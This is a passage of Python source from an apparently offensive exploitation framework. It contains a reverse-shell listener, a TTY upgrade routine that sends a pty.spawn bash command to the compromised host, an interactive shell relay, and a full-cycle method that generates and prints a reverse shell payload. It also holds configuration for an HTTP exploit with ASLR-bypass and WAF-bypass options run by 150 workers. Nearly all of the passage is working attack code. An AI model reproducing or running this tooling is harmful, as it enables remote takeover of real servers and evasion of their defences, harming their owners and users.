self.connection = conn
return conn
except socket.timeout:
continue
except OSError as e:
if e.errno == 98:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(1.0)
sock.connect((self.config.lhost, self.config.lport))
if self.verbose:
print(f" [+] Connected to existing listener")
self.connection = sock
return sock
except Exception:
pass
time.sleep(0.5)
continue
except Exception as e:
if self.verbose:
print(f" Listener error: {e}")
time.sleep(0.5)
return None
def upgrade_tty(self, conn: socket.socket) -> bool:
try:
upgrade_cmds = [
b"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
b"export TERM=xterm-256color\n",
b"stty raw -echo\n",
b"fg\n",
b"reset\n",
]
for cmd in upgrade_cmds:
conn.send(cmd)
time.sleep(0.2)
return True
except Exception:
return False
def interactive_session(self, conn: socket.socket) -> None:
print("\n [+] Interactive session started (Ctrl+C to exit)")
print(" [+] Tip: run 'reset' if display gets garbled\n")
old_tty = termios.tcgetattr(sys.stdin)
try:
tty.setraw(sys.stdin.fileno())
tty.setcbreak(sys.stdin.fileno())
conn.setblocking(False)
while True:
r, _, _ = select.select([sys.stdin, conn], [], [], 0.1)
if sys.stdin in r:
data = os.read(sys.stdin.fileno(), 1024)
if not data:
break
conn.send(data)
if conn in r:
data = conn.recv(4096)
if not data:
print("\n [-] Connection closed by remote")
break
os.write(sys.stdout.fileno(), data)
except KeyboardInterrupt:
print("\n [-] Interrupted")
except Exception as e:
print(f"\n [-] Session error: {e}")
finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty)
try:
conn.close()
except Exception:
pass
def cleanup(self) -> None:
if self.listener_process:
try:
self.listener_process.terminate()
self.listener_process.wait(timeout=2)
except Exception:
try:
self.listener_process.kill()
except Exception:
pass
if self.terminal_process:
try:
self.terminal_process.terminate()
except Exception:
pass
if self.connection:
try:
self.connection.close()
except Exception:
pass
def run_full_cycle(self, payload: str | None = None) -> socket.socket | None:
if not self.config.enabled:
return None
shell_payload = payload or self.generate_payload()
if self.verbose:
print(f" [+] Reverse shell payload: {shell_payload}")
if not self.start_listener():
return None
conn = self.wait_for_connection()
if conn and self.config.auto_interact:
self.upgrade_tty(conn)
self.interactive_session(conn)
return conn
# ===================================================================================================================
# ENHANCED TARGET MANAGEMENT
# ===================================================================================================================
@dataclass
class ASLRBypassConfig:
"""Configuration for ASLR bypass techniques."""
enabled: bool = True
worker_pinning: bool = True
chunked_encoding: bool = True
leak_analysis: bool = True
worker_count: int = 150
leak_retries: int = 3
delta_validation: bool = True
@dataclass
class ExploitConfig:
"""Extended configuration for exploit runs with ASLR bypass."""
target: Target
port: int = 80
scheme: str = "http"
path: str = "/"
custom_headers: dict[str, str] = field(default_factory=dict)
waf_bypass: bool = False
waf_profile: WAFProfile | None = None
timeout: float = 30.0
retries: int = 3
stall: float = 1.5
monitor: bool = False
progress_path: str = LAB_PROGRESS_PATH
rounds: int = 1
expect: bytes | None = None
max_paths: int = 4
workers: int = 150
output_dir: str = "out"